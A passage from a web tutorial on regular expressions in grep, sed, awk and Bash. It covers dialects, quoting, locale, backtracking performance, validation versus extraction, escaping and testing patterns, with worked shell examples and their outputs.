'&lt;b&gt;x&lt;/b&gt;&lt;b&gt;y&lt;/b&gt;' | grep -oE '&lt;b&gt;[^&lt;]*&lt;/b&gt;'\necho '&lt;b&gt;x&lt;/b&gt;&lt;b&gt;y&lt;/b&gt;' | grep -oP '&lt;b&gt;.*?&lt;/b&gt;'\n</code></pre>\n<pre><code class=\"language-text\">&lt;b&gt;x&lt;/b&gt;&lt;b&gt;y&lt;/b&gt;\n&lt;b&gt;x&lt;/b&gt;\n&lt;b&gt;y&lt;/b&gt;\n&lt;b&gt;x&lt;/b&gt;\n&lt;b&gt;y&lt;/b&gt;\n</code></pre>\n<p>The first pattern matched the whole string as one. The second uses a negated class, <code>[^&lt;]*</code>, meaning any run of characters that are not a less-than sign, which cannot cross the next tag. The third uses the lazy quantifier <code>.*?</code> from PCRE, which takes as little as possible. POSIX has no lazy quantifier, and the negated class is the portable substitute, and a clearer one: it says exactly what the content may contain. The same trick pulls the first quoted string out of <code>key=\"a\" other=\"b\"</code> with <code>\"[^\"]*\"</code>.</p>\n\n<h2>grep in practice</h2>\n<p>grep's three engines are chosen by flag: none for BRE, <code>-E</code> for ERE, <code>-P</code> for PCRE, and <code>-F</code> for fixed strings with no pattern at all. Add <code>-i</code> to ignore case, <code>-o</code> to print only matches, <code>-w</code> and <code>-x</code> for whole words and lines, <code>-v</code> to invert, and <code>-c</code> to count lines. Multiple <code>-e</code> options combine patterns.</p>\n<pre><code class=\"language-bash\">echo \"Error ERROR error\" | grep -oi 'error' | wc -l\necho \"price: 100USD 200EUR\" | grep -oP '\\d+(?=USD)'\necho \"foo.bar\" | grep -oP '(?&lt;=foo\\.)\\w+'\nprintf 'a\\nb\\nc\\n' | grep -Pzo 'a\\nb' | tr '\\0' '\\n'\n</code></pre>\n<pre><code class=\"language-text\">3\n100\nbar\na\nb\n</code></pre>\n<p>The lookahead <code>(?=USD)</code> asserts that USD follows without consuming it, so only the number is printed; the lookbehind <code>(?&lt;=foo\\.)</code> asserts what comes before. The <code>-z</code> option treats the whole input as one line by using NUL as the separator, so a pattern can span newlines, and the output is NUL-terminated, hence the final <code>tr</code>. <code>-P</code> is documented as experimental in the GNU grep manual, is missing from BusyBox (<code>grep: invalid option -- 'P'</code>) and BSD grep, and is not available in every build of GNU grep, so scripts should not assume it. The <a href=\"https://www.gnu.org/software/grep/manual/grep.html\">GNU grep manual</a> documents each option.</p>\n\n<h2>sed in practice</h2>\n<p>sed uses BRE by default, ERE with <code>-E</code> (GNU also accepts <code>-r</code>), and applies the pattern in the <code>s</code> command and in address expressions. The special characters in the replacement are the ampersand, which stands for the whole match, and the backslash digits. Any character can serve as the delimiter, which avoids escaping slashes in paths.</p>\n<pre><code class=\"language-bash\">echo \"a/b\" | sed 's/\\//|/'\necho \"a/b\" | sed 's#/#|#'\necho \"a.b\" | sed 's/./X/g'\necho \"a.b\" | sed 's/\\./X/g'\necho \"hello\" | sed 's/l*/X/'\necho \"hello\" | sed 's/l*/X/g'\necho \"x\" | sed -E 's/(x)/[&amp;]/'\n</code></pre>\n<pre><code class=\"language-text\">a|b\na|b\nXXX\naXb\nXhello\nXhXeXoX\n[x]\n</code></pre>\n<p>The third result shows the dot at work: every character became X. The fifth and sixth results show a trap with patterns that can match nothing: <code>l*</code> matches zero l characters at the very start, so the first substitution inserted an X before hello, and with the g flag it inserted one at every position and replaced the real ll with a single X. Use <code>l\\+</code> or <code>ll*</code> when you mean at least one. To make a match case-insensitive use the <code>I</code> flag in GNU sed, and to match across lines use <code>N</code> to join lines first, or <code>-z</code>.</p>\n\n<h2>awk in practice</h2>\n<p>awk uses ERE. A regex between slashes is a pattern that matches against the whole record, and <code>~</code> and <code>!~</code> match a regex against any string. The functions <code>match</code>, <code>sub</code>, <code>gsub</code>, <code>split</code> and <code>gensub</code> (gawk) take regexes. <code>match</code> sets <code>RSTART</code> and <code>RLENGTH</code>, and gawk's three-argument <code>match</code> fills an array of captures.</p>\n<pre><code class=\"language-bash\">echo \"id=42 name=bob\" | awk 'match($0, /[0-9]+/) {print substr($0, RSTART, RLENGTH), RSTART, RLENGTH}'\necho \"id=42 id=7\" | gawk '{match($0, /id=([0-9]+)/, m); print m[1]}'\necho \"a.b.c\" | awk '{n=gsub(/\\./,\"-\"); print $0, n}'\necho \"a.b.c\" | awk -F'[.]' '{print $2}'\n</code></pre>\n<pre><code class=\"language-text\">42 4 2\n42\na-b-c 2\nb\n</code></pre>\n<p>POSIX awk has no way to extract a capture group, only the whole match with <code>RSTART</code> and <code>RLENGTH</code>; gawk's extension fills the array <code>m</code>. <code>gsub</code> returns the number of replacements, which is a handy counter. A field separator longer than one character is treated as a regex, and <code>-F'[.]'</code> splits on a dot by putting it in a bracket expression. A pattern given as a string, such as <code>$0 ~ p</code> with <code>p</code> holding text, is a dynamic regex, where escapes are processed twice, once by awk's string parser and once by the regex engine, so <code>\"\\\\.\"</code> is needed to get a regex that means an escaped dot.</p>\n\n<h2>Dynamic patterns in awk</h2>\n<p>Passing a pattern into awk with <code>-v</code> works, and it brings the double-escaping issue plus a more basic one: the value is a regex, not a literal string, so special characters in it keep their meaning.</p>\n<pre><code class=\"language-bash\">echo \"a.b\" | awk -v p='a.b' '$0 ~ p {print \"re match\"}'\necho \"axb\" | awk -v p='a.b' '$0 ~ p {print \"dot matches x\"}'\necho \"axb\" | awk -v p='a.b' 'index($0,p) {print \"index\"} END {print \"done\"}'\n</code></pre>\n<pre><code class=\"language-text\">re match\ndot matches x\ndone\n</code></pre>\n<p>The second line shows the danger: a value meant as the literal text a.b also matched axb. The third command uses <code>index($0, p)</code>, which does a plain substring search, and printed only <code>done</code>, correctly finding nothing. Use <code>index</code> or <code>==</code> when the variable holds text, and <code>~</code> only when it is deliberately a pattern. This matters for security as well as correctness, since a pattern built from outside input is an injection point.</p>\n\n<h2>Bash and the =~ operator</h2>\n<p>Inside <code>[[ ]]</code>, <code>=~</code> matches the left string against an ERE on the right and fills the array <code>BASH_REMATCH</code> with the match and its groups. The rule that catches everyone is quoting: since Bash 3.2, any part of the right-hand side that is quoted is matched literally. Store the regex in a variable and leave the variable unquoted.</p>\n<pre><code class=\"language-bash\">re='^([a-z]+)-([0-9]+)$'\ns='app-42'\n[[ $s =~ $re ]] &amp;&amp; echo \"${BASH_REMATCH[1]} ${BASH_REMATCH[2]}\"\n[[ $s =~ \"^app\" ]] &amp;&amp; echo quoted-match || echo \"quoted: no match\"\n[[ \"file.txt\" == *.txt ]] &amp;&amp; echo glob-ok\n[[ \"file.txt\" =~ *.txt ]] 2&gt;&amp;1; echo \"rc=$?\"\n</code></pre>\n<pre><code class=\"language-text\">app 42\nquoted: no match\nglob-ok\nrc=2\n</code></pre>\n<p>The quoted version of <code>^app</code> failed to match <code>app-42</code>, since it looked for the literal text ^app. The last line shows what happens when a glob is written where a regex belongs: a leading asterisk is an invalid regex, so the test returned status 2, which is an error and not a plain false. Remember that status 1 means no match and 2 means a bad pattern. Bash regexes use the platform's regex library and so inherit its limits and locale. Bash offers no lazy quantifier and no lookaround.</p>\n\n<h2>Globs are not regular expressions</h2>\n<p>Globs are the wildcard patterns that the shell expands in file names and uses in <code>case</code>, in <code>[[ == ]]</code> and in parameter expansions such as <code>${var#prefix*}</code>. They look similar and are a different language. In a glob, <code>*</code> means any string, <code>?</code> one character and <code>[...]</code> a set, and the whole pattern must match the whole string. In a regex, <code>*</code> repeats the previous item, <code>.</code> is any character, and matching is unanchored.</p>\n<table>\n<thead><tr><th>Meaning</th><th>Glob</th><th>ERE</th></tr></thead>\n<tbody>\n<tr><td>Any string</td><td><code>*</code></td><td><code>.*</code></td></tr>\n<tr><td>Any one character</td><td><code>?</code></td><td><code>.</code></td></tr>\n<tr><td>Ends with .txt</td><td><code>*.txt</code></td><td><code>\\.txt$</code></td></tr>\n<tr><td>One digit</td><td><code>[0-9]</code></td><td><code>[0-9]</code></td></tr>\n<tr><td>Anchoring</td><td>Always whole string</td><td>Add <code>^</code> and <code>$</code></td></tr>\n<tr><td>Alternation</td><td><code>@(a|b)</code> with extglob</td><td><code>(a|b)</code></td></tr>\n</tbody>\n</table>\n<pre><code class=\"language-bash\">case \"img_01.png\" in *_[0-9][0-9].png) echo glob-class-ok ;; esac\nmkdir -p ft; touch ft/a1.log ft/b22.log ft/c.txt\nfind ft -name '*.log'\nfind ft -regex '.*/[a-z][0-9]+\\.log'\n</code></pre>\n<p>The pattern in <code>find -name</code> is a glob, quoted so the shell passes it along; <code>find -regex</code> matches the whole path against a regex and defaults to Emacs syntax, selectable with <code>-regextype posix-extended</code>. A symptom of mixing them up is <code>ls *.txt</code> working while <code>grep *.txt file</code> fails: the shell expanded the glob before grep saw it, which is a reason to quote regex arguments.</p>\n\n<h2>Case-insensitive matching</h2>\n<p>Each tool has its own switch. grep uses <code>-i</code>. GNU sed uses the <code>I</code> flag on the substitution or address, <code>s/error/X/I</code>. gawk has the <code>IGNORECASE</code> variable, but POSIX awk does not, so the portable way is to lower-case the text before matching with <code>tolower($0) ~ /error/</code>. Bash has <code>shopt -s nocasematch</code> to change <code>[[ ]]</code> and <code>case</code> globally, so set and unset it around the use.</p>\n<pre><code class=\"language-bash\">echo \"Error\" | sed 's/error/X/I'\necho \"Error\" | awk 'tolower($0) ~ /error/ {print \"awk ok\"}'\necho \"Error\" | gawk 'BEGIN {IGNORECASE=1} /error/ {print \"IGNORECASE ok\"}'\nshopt -s nocasematch; [[ Error == error ]] &amp;&amp; echo bash-ok; shopt -u nocasematch\n</code></pre>\n<pre><code class=\"language-text\">X\nawk ok\nIGNORECASE ok\n</code></pre>\n<p>Case-insensitive matching is locale-dependent for non-ASCII letters, so it is reliable for English identifiers and logs and less so for text in other languages. Where behavior matters, state the locale in the script.</p>\n\n<h2>Locale and Unicode</h2>\n<p>Character classes, ranges, case folding and the meaning of a dot depend on the locale. In a UTF-8 locale a dot matches a whole character and <code>[[:alpha:]]</code> includes accented letters. In the C locale, each byte is its own character, so a two-byte letter is two bytes of nothing in particular.</p>\n<pre><code class=\"language-bash\">echo \"été\" | LC_ALL=C.UTF-8 grep -o '[[:alpha:]]*'\necho \"été\" | LC_ALL=C grep -o '[[:alpha:]]*' | od -c | head -2\n</code></pre>\n<pre><code class=\"language-text\">été\n0000000   t  \\n\n0000002\n</code></pre>\n<p>In the C locale only the ASCII letter t matched, and both accented letters were treated as non-alphabetic. Cron jobs and containers often run with the C or POSIX locale because no <code>LANG</code> is set, so a pattern that handles Unicode on your laptop quietly stops at an accent in production. For text that must be treated as bytes, set <code>LC_ALL=C</code> on purpose, and for text that is Unicode, set a UTF-8 locale that exists in the image, <code>C.UTF-8</code> being available on most Debian-based systems.</p>\n\n<h2>Multiline matching</h2>\n<p>Line-oriented tools match within a line. To match across lines you have to change how the input is split or collect lines first. grep's <code>-z</code> reads NUL-separated records, so a text file with no NULs is one record; combined with <code>-P</code>, a pattern may contain <code>\\n</code>. In sed, <code>N</code> appends the next line to the pattern space and <code>-z</code> works like grep's flag. In awk, setting <code>RS</code> to an empty string reads paragraphs, and gawk accepts a regex as the record separator.</p>\n<pre><code class=\"language-bash\">sed -z 's/\\n\\n*/\\n/g' file\nawk 'BEGIN {RS=\"\"; FS=\"\\n\"} {print $1}' paragraphs.txt\ngawk 'BEGIN {RS=\"\\n--\\n\"} {print NR \": \" $1}' sections.txt\n</code></pre>\n<p>Remember that in a multiline buffer the caret and dollar may anchor the start and end of the whole buffer and not each line, depending on the tool and mode. For anything structured over many lines, such as an XML or JSON document or a config with nesting, a real parser is the answer, as the final section explains.</p>\n\n<h2>Performance and catastrophic backtracking</h2>\n<p>Regex engines fall in two families. Automaton-based engines, which GNU grep uses for BRE and ERE, scan the text once and take time proportional to its length however tricky the pattern. Backtracking engines, which Perl, PCRE, Python and many others use, try alternatives one at a time and go back when one fails; that is what makes lookaround and lazy quantifiers possible, and it also makes some patterns exponentially slow. The classic case is nested quantifiers such as <code>(a+)+$</code> against a long run of a followed by a character that stops the match.</p>\n<pre><code class=\"language-bash\">time (printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!\\n' | grep -E '^(a+)+$' &gt; /dev/null)\nprintf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!\\n' | grep -P '^(a+)+$'\n</code></pre>\n<pre><code class=\"language-text\">real\t0m0.001s\ngrep: (standard input): exceeded PCRE's backtracking limit\n</code></pre>\n<p>GNU grep's ERE engine finished in about a millisecond on forty characters, while the PCRE engine gave up with a backtracking limit error on thirty. Both outcomes are real behavior of GNU grep 3.8 in the container. The lesson has two sides. With grep, sed and awk in their default modes you are protected from this class of problem; with <code>-P</code>, and with regexes in Python, JavaScript and other languages, an attacker who controls the input can freeze a program with a crafted string, the failure known as ReDoS. Avoid nested quantifiers over overlapping alternatives, anchor patterns, and cap input length when the text is not yours.</p>\n\n<h2>Validation versus extraction</h2>\n<p>Two different jobs use regexes, and they want different patterns. Extraction pulls something out of text you trust, so a loose pattern is fine and often better. Validation decides whether input is acceptable, so it must be strict and anchored, and regexes are good at shape but poor at meaning. An IPv4 pattern shows the gap.</p>\n<pre><code class=\"language-bash\">for ip in 10.0.0.1 999.1.1.1 1.2.3; do\n  echo \"$ip\" | grep -qE '^([0-9]{1,3}\\.){3}[0-9]{1,3}$' &amp;&amp; echo \"$ip loose-match\" || echo \"$ip no\"\ndone\n</code></pre>\n<pre><code class=\"language-text\">10.0.0.1 loose-match\n999.1.1.1 loose-match\n1.2.3 no\n</code></pre>\n<p>The pattern checks the shape of four dotted numbers and accepts <code>999.1.1.1</code>, which is not an address. A regex that also limits each octet to 0 to 255 exists, and is long and hard to read; a better design checks the shape with the regex and the range in code, or uses a tool that knows addresses, such as <code>ipcalc</code>, or a library. The same holds for email addresses, dates and URLs: a regex can catch a missing at-sign, and only sending a message proves an address works. When the input is untrusted, validate with an allow-list pattern anchored at both ends, as in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Build a regex step by step</h2>\n<p>Write a pattern in stages, testing each one against real lines, rather than all at once. Take a log line and extract the status code and path of failing requests.</p>\n<pre><code class=\"language-text\">198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n</code></pre>\n<pre><code class=\"language-bash\">grep -E '\" [0-9]{3} ' access.log\ngrep -E '\"[A-Z]+ [^ ]+ HTTP/[0-9.]+\" [0-9]{3} ' access.log\ngrep -E '\"[A-Z]+ [^ ]+ HTTP/[0-9.]+\" 5[0-9]{2} ' access.log\nsed -nE 's/.*\"[A-Z]+ ([^ ]+) HTTP\\/[0-9.]+\" (5[0-9]{2}) .*/\\2 \\1/p' access.log\n</code></pre>\n<pre><code class=\"language-text\">500 /api/users\n502 /api/users\n</code></pre>\n<p>The first version finds any line with a closing quote, a space, a three-digit number and a space, which is loose but a good start. The second describes the request more completely, so it will not match text that happens to look like a status. The third restricts the status to the 5xx range. The sed command wraps the request in two groups and prints them in the order you want, using <code>.*</code> only on the outer edges, where its greediness is harmless because the inner parts are tightly defined. At each step run the pattern, look at what it matched and what it missed, and tighten or loosen. Print with <code>grep -o</code> or <code>sed -n ... p</code> to see exactly the matched text.</p>\n\n<h2>Test a pattern before trusting it</h2>\n<p>Keep a small file of lines that must match and lines that must not, and run every change to the pattern against both. The negative cases are the ones people skip and the ones that find the bug. A pair of loops makes it a ten-line test.</p>\n<pre><code class=\"language-bash\">re='^[a-z][a-z0-9_-]{2,31}$'\nfor good in app web-1 db_main; do\n  [[ $good =~ $re ]] || echo \"SHOULD MATCH: $good\"\ndone\nfor bad in A1 a '-x' 'a b' '' \"$(printf 'ab\\ncd')\"; do\n  [[ $bad =~ $re ]] &amp;&amp; echo \"SHOULD NOT MATCH: $bad\"\ndone\necho done\n</code></pre>\n<p>The last negative case contains a newline, which matters: in some tools a dollar sign matches before a trailing newline, so a pattern meant to be strict lets <code>ab</code> followed by a newline through. In Bash the whole string is matched, but in grep each line is tested separately, so a multi-line value passes if any single line matches; validate a single line, or check for newlines first. For patterns that will live in a script, put the cases in a Bats test, as described in <a href=\"/library/test-shell-scripts-bats-shellcheck\">the guide to testing shell scripts</a>.</p>\n\n<h2>Other tools that take regexes</h2>\n<p>Several other programs in a normal system accept patterns and each has its own flavor. <code>find -regex</code> matches the full path, with Emacs syntax by default. <code>expr STRING : REGEX</code> uses BRE anchored at the start and prints the first group, an old POSIX way of extracting a part. <code>less</code> and <code>vim</code> search with their own variants, and <code>vim</code> uses a distinct syntax with its own escapes. <code>rename</code>, <code>pgrep</code>, <code>pkill</code>, <code>journalctl --grep</code>, <code>git grep</code> and <code>tmux</code> each have a regex option whose dialect is in their manual page. When the dialect is unclear, test it with a small known pattern such as <code>a+b</code> against <code>aab</code>.</p>\n<pre><code class=\"language-bash\">expr \"abc123\" : '[a-z]*\\([0-9]*\\)'\npgrep -f 'nginx: (master|worker)'\njournalctl -u ssh --grep 'Failed|Invalid' --no-pager | tail -3\ngit grep -nE 'TODO|FIXME' -- '*.sh'\n</code></pre>\n<pre><code class=\"language-text\">123\n</code></pre>\n<p>That <code>expr</code> call anchors at the start implicitly, which differs from every other tool here; it is the commonest reason people give up on it. The cost of learning each flavor is small if you keep the three families in mind and check the manual for the exceptions.</p>\n\n<h2>A compact reference</h2>\n<table>\n<thead><tr><th>Goal</th><th>ERE</th><th>Note</th></tr></thead>\n<tbody>\n<tr><td>Literal dot</td><td><code>\\.</code> or <code>[.]</code></td><td>Unescaped dot matches any character</td></tr>\n<tr><td>Digits only</td><td><code>^[0-9]+$</code></td><td>Use <code>[[:digit:]]</code> for locale-safety</td></tr>\n<tr><td>Optional prefix</td><td><code>(https?://)?</code></td><td>Question mark makes the s optional</td></tr>\n<tr><td>Quoted string</td><td><code>\"[^\"]*\"</code></td><td>Negated class instead of lazy dot-star</td></tr>\n<tr><td>Word boundary</td><td><code>\\b</code> or <code>-w</code></td><td>GNU extension, not POSIX</td></tr>\n<tr><td>Repeat 2 to 4</td><td><code>[0-9]{2,4}</code></td><td>Not in mawk 1.3.4</td></tr>\n<tr><td>Either of two</td><td><code>(GET|POST)</code></td><td>Longest match wins in POSIX</td></tr>\n<tr><td>Blank line</td><td><code>^[[:space:]]*$</code></td><td>Spaces and tabs count as blank</td></tr>\n<tr><td>Comment line</td><td><code>^[[:space:]]*#</code></td><td>Anchor at the start</td></tr>\n<tr><td>Same word twice</td><td><code>\\b([a-z]+) \\1\\b</code></td><td>Backreference</td></tr>\n</tbody>\n</table>\n<p>Keep the table for the moments when you know what you want and not the spelling. The deeper reasoning is in the sections above, and the manual pages hold the exceptions: <a href=\"https://man7.org/linux/man-pages/man7/regex.7.html\">regex(7)</a> for POSIX and <a href=\"https://www.pcre.org/current/doc/html/pcre2pattern.html\">the PCRE2 pattern reference</a> for Perl syntax.</p>\n\n<h2>Common mistakes and their fixes</h2>\n<ul>\n<li><strong>Unquoted patterns.</strong> The shell expands <code>*</code>, <code>$</code> and <code>?</code> first. Use single quotes.</li>\n<li><strong>Using <code>\\d</code> in ERE.</strong> It is a plain d. Use <code>[0-9]</code> or <code>[[:digit:]]</code>.</li>\n<li><strong>Forgetting anchors.</strong> An unanchored pattern matches anywhere, including inside longer words.</li>\n<li><strong>Greedy dot-star.</strong> Use a negated class between delimiters.</li>\n<li><strong>Unescaped dots.</strong> <code>1.5</code> matches 125. Escape or use <code>-F</code>.</li>\n<li><strong>Quoting the regex in <code>[[ =~ ]]</code>.</strong> A quoted pattern is literal. Use a variable.</li>\n<li><strong>Using a glob where a regex is needed, or the reverse.</strong> Check which language the tool speaks.</li>\n<li><strong>Patterns that can match nothing.</strong> <code>x*</code> with the <code>g</code> flag inserts at every position.</li>\n<li><strong>Assuming <code>-P</code> exists.</strong> BusyBox and BSD grep lack it.</li>\n<li><strong>Relying on the locale.</strong> Cron and containers often run in C.</li>\n</ul>\n<p>Nearly all of these are one error: writing a pattern in one dialect and running it in another. Naming the dialect in your head, glob, BRE, ERE or PCRE, before you type the first character prevents most of them.</p>\n\n<h2>A gallery of everyday patterns</h2>\n<p>Most real use of regexes is a short list of recurring jobs. Each of these ran against sample input in the Debian 12 container, and each shows a pattern written in the dialect that suits it.</p>\n<pre><code class=\"language-bash\">printf '  padded line  \\n' | sed -E 's/^[[:space:]]+|[[:space:]]+$//g' | od -c | head -1\nprintf 'a    b \\t c\\n' | sed -E 's/[[:space:]]+/ /g'\nprintf 'v1.12.3 and v2.0.0-rc1\\n' | grep -oE 'v[0-9]+\\.[0-9]+\\.[0-9]+(-[a-z0-9.]+)?'\nprintf 'mail bob@example.org or amy@example.net now\\n' | grep -oE '[[:alnum:]._%+-]+@[[:alnum:].-]+\\.[[:alpha:]]{2,}'\nprintf 'see https://example.org/a?b=1 and http://x.test\\n' | grep -oE 'https?://[^[:space:]\"&lt;&gt;]+'\nprintf '\\033[31mred\\033[0m text\\n' | sed -E 's/\\x1b\\[[0-9;]*m//g'\nprintf 'line one \\\\\\nline two\\nline three\\n' | sed -e ':a' -e '/\\\\$/N; s/\\\\\\n//; ta'\nprintf 'IMG_001.JPG\\nIMG_002.JPG\\n' | sed -E 's/^IMG_([0-9]+)\\.JPG$/photo-\\1.jpg/'\n</code></pre>\n<p>The first removes leading and trailing whitespace with one alternation and the <code>g</code> flag. The second squeezes any run of blanks and tabs to one space. The third extracts version strings with an optional pre-release suffix. The fourth is a pragmatic email extractor that accepts the common shapes and ignores the complexity of the full address grammar. The fifth pulls URLs by taking everything up to whitespace or a quote. The sixth strips terminal color codes by matching the escape character, a bracket, digits and semicolons, and an <code>m</code>. The seventh joins lines that end with a backslash continuation, using sed's <code>N</code> command in a loop. The last renames by restructuring a file name with a capture group, a pattern that feeds a <code>mv</code> in a loop.</p>\n<pre><code class=\"language-bash\">for f in IMG_*.JPG; do\n  new=$(printf '%s\\n' \"$f\" | sed -E 's/^IMG_([0-9]+)\\.JPG$/photo-\\1.jpg/')\n  printf 'mv -- %q %q\\n' \"$f\" \"$new\"\ndone\n</code></pre>\n<p>Printing the <code>mv</code> commands first is a dry run: read them, and pipe to <code>sh</code> only when they look right. Bash can do this particular rename with parameter expansion and no sed at all, <code>${f#IMG_}</code> and <code>${f%.JPG}</code>, which is faster and safer for simple prefix and suffix changes. Regexes pay off when the structure is more complicated than a prefix and a suffix.</p>\n\n<h2>Escape text for use inside a pattern</h2>\n<p>When a literal string must be embedded in a pattern, escape every character that is special in the dialect. The safest way is to avoid the situation: use <code>grep -F</code> or awk's <code>index</code> for a literal search. For sed, where there is no fixed-string mode, escape the pattern side and the replacement side separately, because they have different special characters.</p>\n<pre><code class=\"language-bash\">escape_re()  { printf '%s' \"$1\" | sed -e 's/[][\\.*^$/]/\\\\&amp;/g'; }\nescape_rep() { printf '%s' \"$1\" | sed -e 's/[\\/&amp;]/\\\\&amp;/g'; }\nold='a.b[1]'\nnew='x/y&amp;z'\necho 'see a.b[1] here' | sed \"s/$(escape_re \"$old\")/$(escape_rep \"$new\")/\"\n</code></pre>\n<pre><code class=\"language-text\">see x/y&amp;z here\n</code></pre>\n<p>On the pattern side the helper escapes brackets, dot, star, caret, dollar and the delimiter; on the replacement side only the delimiter, the ampersand and the backslash matter. Both are for BRE. If the input may contain a newline, neither is enough, and the right answer is to stop using sed for that substitution. The general advice from the security guide applies: treat the value as data, and prefer tools that take it as data, over escaping it into code.</p>\n\n<h2>Read and document a regex</h2>\n<p>A pattern is write-once code unless it is explained. When you meet an unfamiliar one, read it left to right and name each piece: an anchor, a group, a class, a quantifier. Break it onto separate lines mentally at every group and alternation. The pattern <code>^([a-z][a-z0-9_-]{2,31})@([a-z0-9.-]+)$</code> reads as: start of line, a name that begins with a letter and continues with letters, digits, underscores or hyphens up to 32 characters in all, an at-sign, a host made of letters, digits, dots and hyphens, end of line. Written out in words it is clear; as a bare string it is a puzzle, and a script full of them is hard to change safely.</p>\n<p>So document patterns where they are defined. Put each in a variable with a name that says what it matches, and give it a comment that includes one example that matches and one that does not. Build a long pattern from named parts joined together, which shortens each piece and lets you test them alone. Bash has no extended mode that ignores whitespace and comments, which Perl and PCRE do with the <code>x</code> flag, but string concatenation gets most of the benefit.</p>\n<pre><code class=\"language-bash\"># matches 10.0.0.1 and 192.168.1.20; the range of each octet is checked separately\noctet='[0-9]{1,3}'\nipv4=\"^(${octet}\\\\.){3}${octet}$\"\n\n# matches app-42 and web-7; does not match App-42 or app_42\nservice='^[a-z]+-[0-9]+$'\n\n[[ $1 =~ $ipv4 ]] &amp;&amp; echo \"address\"\n[[ $1 =~ $service ]] &amp;&amp; echo \"service name\"\n</code></pre>\n<p>The comment with a matching and a non-matching example is a tiny test case, and copying those lines into a Bats test costs a minute. In code review, ask for them. A regular expression with no example attached is a claim nobody can check, and the sibling habit of testing against negative cases, described earlier, is what catches the pattern that matches too much.</p>\n\n<h2>Regexes in editors and pagers</h2>\n<p>The patterns you type into an editor are another dialect to keep apart from the shell tools. Vim's default search treats most operators as literals until escaped, much like BRE, and its \"very magic\" mode, entered with <code>\\\\v</code> at the start of the pattern, makes it behave like ERE. Less uses the system regex library for its slash search. Many graphical editors use the Perl-style engine of their language. When you design a pattern interactively in an editor and then paste it into a script, retest it in the script's tool, since the dialect rules differ and the first symptom is a pattern that finds nothing or too much. Sed's own substitute command is borrowed by vim as the colon-s command, which is a reason the two feel alike and still differ in the escapes they need.</p>\n\n<h2>Regexes in other languages, briefly</h2>\n<p>The skills here carry over to scripting languages with adjustments. Python's <code>re</code>, JavaScript, Java, PHP's <code>preg_*</code> and Ruby are all Perl-style backtracking engines, so they accept <code>\\d</code>, lazy quantifiers and lookaround, and they share the risk of catastrophic backtracking. Go's <code>regexp</code> and Rust's <code>regex</code> crate use linear-time automata like grep, and so they omit backreferences and lookaround by design. PowerShell uses .NET syntax. The ripgrep tool uses the Rust engine with optional PCRE2 through <code>-P</code>.</p>\n<p>That split gives a rule for choosing: when you need guaranteed running time on untrusted input, pick an automaton engine and live without lookaround; when you need lookaround and backreferences, pick a backtracking engine and bound the input. Within shell, GNU grep gives you both, selected by <code>-E</code> and <code>-P</code>, and knowing which you are using is the safeguard.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Nested and structured formats.</strong> HTML, XML, JSON, YAML and source code have nesting that regular expressions cannot match in general. Use <code>jq</code>, <code>xmllint</code>, a YAML parser or a language-aware tool. A regex is acceptable for a quick look at a trusted, flat piece of such a file, and a hazard in a program that must be right.</p>\n<p><strong>Quoted CSV.</strong> Fields with embedded delimiters need a CSV parser, as covered in <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>.</p>\n<p><strong>Meaningful validation.</strong> Dates, addresses and numeric ranges need code. A regex can check shape and nothing more.</p>\n<p><strong>Untrusted input in a backtracking engine.</strong> Anything that takes patterns or text from outside and runs them in PCRE, Python or JavaScript needs a time limit or a linear-time engine such as RE2.</p>\n<p><strong>Very large searches.</strong> For gigabytes of text, a tool like ripgrep, or an index, will beat a regex scan with grep.</p>\n<p><strong>Windows and PowerShell.</strong> .NET regular expressions are another dialect with named groups and lookbehind; the shell-tool rules here do not carry over directly.</p>\n\n<h2>What to read next</h2>\n<p>To put these patterns to work, read <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>, where each tool is used on logs, configs and CSV. For the Bash side, including <code>[[ =~ ]]</code> inside scripts, see <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>. When a pattern runs on input you do not control, <a href=\"/library/shell-script-security\">the shell script security guide</a> covers validation. And for a wider tour of the commands that take these patterns, the <a href=\"/library/linux-command-line-guide\">Linux command line guide</a> is the place to continue.</p>\n<p>Primary sources used here: the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html\">POSIX regular expressions chapter</a>, <a href=\"https://man7.org/linux/man-pages/man7/regex.7.html\">regex(7)</a>, the <a href=\"https://www.gnu.org/software/grep/manual/grep.html\">GNU grep manual</a>, the <a href=\"https://www.gnu.org/software/sed/manual/sed.html\">GNU sed manual</a>, the <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html\">GNU Awk User's Guide</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Conditional-Constructs.html\">Bash manual on conditional constructs</a>, the <a href=\"https://www.gnu.org/software/findutils/manual/html_mono/find.html\">GNU findutils manual</a>, the <a href=\"https://www.pcre.org/current/doc/html/pcre2pattern.html\">PCRE2 pattern documentation</a>, the <a href=\"https://invisible-island.net/mawk/mawk.html\">mawk manual</a> and the <a href=\"https://busybox.net/downloads/BusyBox.html\">BusyBox documentation</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Regular Expressions"]}]}